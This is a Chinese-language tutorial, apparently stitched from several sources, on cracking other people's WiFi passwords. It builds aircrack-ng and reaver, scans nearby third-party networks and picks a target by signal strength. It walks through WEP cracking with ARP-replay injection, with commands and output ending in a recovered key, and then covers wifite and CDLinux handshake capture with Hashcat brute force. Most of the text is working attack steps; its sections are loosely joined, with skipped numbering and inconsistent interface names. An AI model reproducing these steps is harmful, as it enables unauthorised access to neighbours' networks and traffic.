linux可以破解wife密码吗

一. 软硬件环境

硬件: cubieboard2

系统: debian (理论上基于debian的 *** 作系统都可以, 如ubuntu, lubuntu, 等等)

无线网卡: RT3070_usb (其它无线网卡是否支持抓包以及驱动的安装方法请自行谷歌)

由于以下所有工具的编译都是直接在cubieboard里进行的, 所以要在cubieboard里构建编译环境:

# apt-get install gcc make

rt3070驱动安装:

# apt-get install firmware-ralink

二. 安装aircrack-ng

1. 下载aircrack-ng源码

# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz

# tar -zxvf aircrack-ng-1.1.tar.gz

2. 安装必要的库文件

# apt-get install libssl-dev

否则编译时会报错:

In file included from aircrack-ng.c:65:0:

crypto.h:12:26: fatal error: openssl/hmac.h: No such file or directory

compilation terminated.

make[1]: *** [aircrack-ng.o] Error 1

make[1]: Leaving directory `/home/code/wifi/aircrack-ng-1.1/src'

make: *** [all] Error 2

3. 修改编译配置文件

# vi common.mak

搜索Werror这行, 将:

CFLAGS ?= -g -W -Wall -Werror -O3

改成:

CFLAGS ?= -g -W -Wall -O3

否则编译时报错:

Linux.c: In function ‘is_ndiswrapper’:

linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘linux_set_rate’:

linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘linux_set_channel’:

linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘linux_set_freq’:

linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘set_monitor’:

linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘do_linux_open’:

linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]

linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]

linux.c: In function ‘get_battery_state’:

linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]

cc1: all warnings being treated as errors

make[3]: *** [linux.o] Error 1

4. 编译,安装

# make

# make install

三. 安装reaver(穷举PIN码方式破解工具)

1. 下载reaver源码

http://code.google.com/p/reaver-wps/downloads/list

2. 安装必要的库文件

# apt-get install libpcap-dev libsqlite3-dev

否则configure的时候报错:

checking for pcap_open_live in -lpcap... no

error: pcap library not found!

3. 编译,安装

# cd src

# ./configure

# make

# make install

四. 安装minidwep-gtk(图形界面工具, 可选)

deb包, 直接下载安装即可, 本文只专注于纯命令行破解, 图形工具安装步骤略

五. 破解步骤

1. 安装wireless-tools

# apt-get install wireless-tools iw

否则在使用airmon-ng命令时会报错:

Wireless tools not found

或者

ERROR: Neither the sysfs interface links nor the iw command is available.

2. 查看自己的无线网卡的名称，一般是wlan0或者wifi0

# ifconfig -a

3. 开启无线网卡监控功能

# airmon-ng start wlan0

注:wlan0为你的无线设备名称

这一步可能会看到提示有XXXX XXXX进程影响，没关系，kill XXX XXX, XXX为给出的进程号，然后重新执行上句, 直到不报错

4. 选择要破解的wifi, 获取其SSID, MAC, CHANNEL

4.1 用airodump-ng扫描

# airodump-ng mon0

会列出所有扫描到的AP列表, 如:

CH 13 ][ Elapsed: 1 min ][ 2014-05-03 23:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:0F:6A:0A:F6 -1 0 0 0 108 -1

00:23:CD:26:4A:B8 -59 19 20 0 6 54 . WEP WEP MERCURY

08:18:1A:89:D8:8C -63 19 0 0 1 54e WPA CCMP PSK ChinaNet-HbDm

EC:17:2F:B9:18:32 -77 11 0 0 6 54e. WPA2 CCMP PSK

08:10:76:6D:9B:74 -78 13 0 0 6 54e WPA2 CCMP PSK ZBH

F0:7D:68:55:AF:F4 -77 11 1 0 6 54e WPA2 CCMP PSK TL

AC:6E:1A:73:D7:85 -80 10 0 0 11 54e WPA2 CCMP PSK ChinaNet-43Bs

62:6E:1A:73:D7:86 -79 13 0 0 11 54e WPA2 CCMP PSK iTV-43Bs

A8:15:4D:13:0F:28 -78 19 1 0 11 54 . WPA2 CCMP PSK 2-703_TPLINK

38:83:45:7C:FE:00 -80 5 0 0 6 54e. WPA2 CCMP PSK xiaoer

20:DC:E6:F1:F1:82 -81 11 0 0 6 54e. WPA2 CCMP PSK XMing

6C:E8:73:5B:A3:2A -81 16 0 0 1 54e. WPA2 CCMP PSK HUANG

C8:3A:35:32:BA:88 -81 8 0 0 8 54e WPA CCMP PSK LYX

14:E6:E4:43:66:CA -81 2 0 0 4 54e. WPA2 CCMP PSK TP-LINK_4366CA

D8:15:0D:4D:18:18 -82 7 0 0 3 54e WPA2 CCMP PSK TP-LINK_805

8C:BE:BE:23:A5:AC -82 7 0 0 3 54e WPA2 CCMP PSK Xiaomi_las

9C:D2:4B:44:8B:68 -83 5 0 0 8 54e WPA CCMP PSK ChinaNet-bwwg

08:10:74:AB:61:7E -82 6 0 0 6 54 WPA TKIP PSK Netcore

00:1E:2A:67:EF:B0 -84 13 0 0 11 54 . WPA2 CCMP PSK SecondBegining

28:2C:B2:2C:A8:5C -84 20 0 0 11 54e. WPA2 CCMP PSK TP407

04:8D:38:00:A8:CB -21 47 181 0 7 54e WPA2 CCMP PSK

BSSID STATION PWR Rate Lost Packets Probes

00:1D:0F:6A:0A:F6 E0:B9:A5:05:D2:3D -76 0 - 1 19 6

00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -1 48 - 0 0 16

00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -80 0 - 2 20 8

04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -78 0e-12e 0 179

选取一个信号好的, 连接的客户端活跃的就可以.

如果想破解WEP, 我们选取的AP信息:

SSID : MERCURY

MAC : 00:23:CD:26:4A:B8

CHANNEL : 6

ENC : WEP

如果想破解WPA/WPA2, 我们选取的AP信息:

SSID :

MAC : 04:8D:38:00:A8:CB

CHANNEL : 7

ENC : WPA2

4.2 这一步用wireless-tools或者windows下的工具WirelessMon也可以

5. 破解WEP

5.1 抓取足够的通信数据包

# airodump-ng --ivs -w packet -c 6 wlan0

或者

# airodump-ng --ivs -w packet -c 6 --bssid 00:23:CD:26:4A:B8 wlan0 //可以加--bssid参数限定只抓特定AP的数据包

参数解释:

--ivs 这里的设置是通过设置过滤，不再将所有无线数据保存，而只是保存可用于破解的IVS数据报文，这样可以有效地缩减保存的数据包大小；

-c 这里我们设置目标AP的工作频道，通过刚才的观察，我们要进行攻击的无线路由器channel为6；

-w 后跟要保存的文件名，所以输入自己希望保持的文件名, 这里会生成packet-xx.ivs文件, xx是序号。后文中破解时使用ivs包可用通配符代替, 如packet-*.ivs

抓包界面如下:

CH 6 ][ Elapsed: 12 mins ][ 2014-05-04 00:23

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -24 0 3 3 0 7 54e WPA2 CCMP PSK [email protected]

00:23:CD:26:4A:B8 -59 46 582 729 0 6 54 . WEP WEP MERCURY

EC:17:2F:B9:18:32 -75 65 458 139 1 6 54e. WPA2 CCMP PSK TARO

F0:7D:68:55:AF:F4 -78 43 461 24 0 6 54e WPA2 CCMP PSK TL

20:DC:E6:F1:F1:82 -80 33 367 0 0 6 54e. WPA2 CCMP PSK XMing

8C:21:0A:18:17:46 -78 74 513 3 0 6 54e. WPA2 CCMP PSK VincentKasim

38:83:45:7C:FE:00 -79 36 399 0 0 6 54e. WPA2 CCMP PSK xiaoer

08:10:74:AB:61:7E -82 1 261 0 0 6 54 WPA TKIP PSK Netcore

08:10:76:6D:9B:74 -82 27 277 0 0 6 54e WPA2 CCMP PSK ZBH

00:25:86:66:42:6E -83 4 19 0 0 6 54 . WEP WEP FAST_66426E

00:87:15:25:85:2C -83 90 508 18 0 6 54e WPA2 CCMP PSK RT8888

14:E6:E4:56:E2:B6 -83 0 29 0 0 6 54e. WEP WEP pig

40:16:9F:76:82:A2 -84 0 1 0 0 6 22e. WPA2 CCMP PSK WH

38:83:45:CA:42:26 -84 0 1 0 0 6 54e. WPA2 CCMP PSK tp-link n1

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -80 0 - 1e 0 152

00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -76 54 - 1 0 82

00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -82 54 - 1 0 763

5.2 对目标AP使用ArpRequest注入攻击

若连接着该无线路由器/AP的无线客户端正在进行大流量的交互，比如使用迅雷、电骡进行大文件下载等，则可以依靠单纯的抓包就可以破解出WEP密码。

但是无线黑客们觉得这样的等待有时候过于漫长，于是就采用了一种称之为“ARP Request”的方式来读取ARP请求报文，并伪造报文再次重发出去，以便刺激AP产生更多的数据包，从而加快破解过程，

这种方法就称之为ArpRequest注入攻击。输入命令(新开一个终端)如下：

# aireplay-ng -3 -b [AP's MAC] -h [Client's MAC] mon0

参数解释:

-3 指采用ARPRequesr注入攻击模式；

-b 后跟AP的MAC地址，这里就是前面我们探测到的SSID为TPLINK的AP的MAC；

-h 后跟客户端的MAC地址，也就是我们前面探测到的有效无线客户端的MAC；

例如

# aireplay-ng -3 -b 00:23:CD:26:4A:B8 -h D0:22:BE:EE:E8:A4 mon0

回车后将会看到如下所示的读取无线数据报文，从中获取ARP报文的情况出现。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).

ifconfig mon0 hw ether D0:22:BE:EE:E8:A4

23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6

Saving ARP requests in replay_arp-0503-235500.cap

You should also start airodump-ng to capture replies.

Read 3943 packets (got 0 ARP requests and 13 ACKs), sent 0 packets...(0 pps)

在等待片刻之后，一旦成功截获到ARP请求报文，我们将会看到如下图13所示的大量ARP报文快速交互的情况出现。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).

ifconfig mon0 hw ether D0:22:BE:EE:E8:A4

23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6

Saving ARP requests in replay_arp-0503-235500.cap

You should also start airodump-ng to capture replies.

Read 13943 packets (got 1 ARP requests and 131 ACKs), sent 12 packets...(566 pps)

Read 14045 packets (got 40 ARP requests and 231 ACKs), sent 123 packets...(566 pps)

Read 14132 packets (got 132 ARP requests and 452 ACKs), sent 234 packets...(566 pps)

Read 14212 packets (got 156 ARP requests and 645 ACKs), sent 567 packets...(566 pps)

Read 14223 packets (got 196 ARP requests and 1090 ACKs), sent 845 packets...(566 pps)

此时回到airodump-ng的界面查看，作为MERCURY的packets栏的数字在飞速递增, 一般该值达到1万5千以上, 就可以进行下一步的破解, 很复杂的密码需要8万以上的IVS。

5.3 使用aircrack-ng破解WEP

在抓取的无线数据报文达到了一定数量后，一般都是指IVs值达到1万以上时，就可以开始破解，若不能成功就等待数据报文的继续抓取然后多试几次。

注意，此处不需要将进行注入攻击的终端关闭，而是另外开一个终端进行同步破解。输入命令如下：

# aircrack-ng 捕获的ivs文件

例如:

# aircrack-ng packet-*.ivs

关于ivs的值数量，我们可以从如下所示的界面中看到，当前已经接受到的IVs已经达到了1万5千以上，aircrack-ng已经尝试了16万个组合。

Aircrack-ng 1.1

[00:01:01] Tested 163814 keys (got 15081 IVs)

KB depth byte(vote)

0 55/ 61 AA(13248) 39(13212) BC(13212) CE(13212) 79(13208) EB(13200) 04(13128) 61(13124) 57(13088) 4F(13060) C9(13048) 75(13024) 8F(12984) A4(12984)

1 12/ 14 49(14740) 88(14628) 86(14564) D8(14520) 7C(14272) 5B(14192) 22(14160) 10(14120) 05(14040) 0E(14012) A8(13976) 87(13932) E2(13828) 5D(13796)

2 38/ 2 09(13724) ED(13608) 40(13600) 24(13572) 7E(13572) C0(13572) 50(13560) 06(13492) 97(13432) C6(13432) 23(13392) 0B(13388) B2(13316) AB(13312)

3 2/ 3 9E(16764) A8(15876) 7A(15808) 12(15800) 4B(15740) 28(15440) 53(15368) 16(15036) 69(14936) 5E(14920) 91(14892) 74(14780) 45(14772) 99(14604)

4 16/ 4 7B(14488) 4A(14384) F1(14308) 86(14228) A1(14228) 5C(14128) 17(14120) 6C(14120) 7F(14088) 02(14084) 31(14052) BF(14016) C1(14008) 0C(14004)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )

Decrypted corretly: 100%

注意: 高强度复杂密码破解成功依赖于更多的IVs, 如13位复杂密码需要8万多IVs.

首先在台式机上一定要有一个无线网卡，可以是插在主板上的无线网卡，也可以是USB接口的外置无线网卡，但是最好是Kali Linux支持的型号，不然驱动程序的问题很麻烦，X宝上有的卖。

再说Kali，Kali Linux上破解WIFI的工具非常全面，因为Kali有无线渗透测试的功能，但是系统性的学习还是挺麻烦的，一条条的调用命令破解步骤也比较繁琐，非专业渗透测试人员推荐用一个Kali上面用于无线渗透测试的傻瓜型自动化脚本，那就是wifite。

wifite命令是用于无线渗透测试的自动化测试脚本，它是个python脚本，用于自动化调用kali上面的各种无线测试工具，像是reaver、aircrack-ng等。它会先尝试PIN码破解wifi，当无法用PIN码破解时，会尝试抓取wifi验证握手包，然后用Kali上的字典进行握手包的暴力破解。PIN码破解的时间一般比较短，握手包的暴力破解会用GPU来加速，破解的速度取决于主机的性能配置（还有密码的复杂程度）。

wifite的使用方法：直接在终端输入命令wifite，它会调用aircrack-ng打开网卡的监听模式并扫描附近的无线网络并一一显示出来，等它显示一会儿后按下键盘上的Ctrl+C组合键，它会中断对无线网的扫描并让你选择破解的目标网络，这时输入要破解的网络的序号（注意是序号，是个数字）并按下回车，它就会自动进行破解工作，破解过程可能很长，也可能会失败，等到破解完成会有相应的提示。

cdlinux破解无线网络提示没有找到密码解决办法：

1、扫描无线网络获取握手包(，破解握手包，获取密码。其中抢包和跑包是最关键的两个步骤，要花很多时间。

2、CDLinux:一个小的Linux系统，用来抓包。它有中文界面，可以放入u盘。

3、Hashcat:一个极其强大的密码破解工具，支持GPU加速。除了WPA，还能破解md5、zip等密码。

5、运行CDLinux，保存抓包文件，容量512M以上，带无线网卡的PC:带外接无线网卡的笔记本或台式机都可以。最好有独立的显卡，可以提高包运行的效率。辅助工具：UltraISO、BOOTICE、grldr和menu.lst，用于从u盘启动CDLinux。

6、格式化u盘，文件系统为FAT32，卷标设置为CDLINUX，运行UltraISO，点击文件-打开-选择下载的CDLinux打开，点击左上方窗口的CDLinux，将右边窗口的CDLINUX目录文件复制到u盘根目录。

7、：拿包。需要一个安装了CDLinux的u盘。

8、跑包。需要Hashcat。跑包是整个过程中最重要的，核心思想是穷尽密码，这个环节比较耗时。穷尽所有密码当然是不现实的。想想常用的密码，基本都是8位纯数字，那就从8位纯数字密码开始。Hashcat正好符合要求。在GPU加速的情况下，运行一个8位纯数字密码大概需要15分钟。

---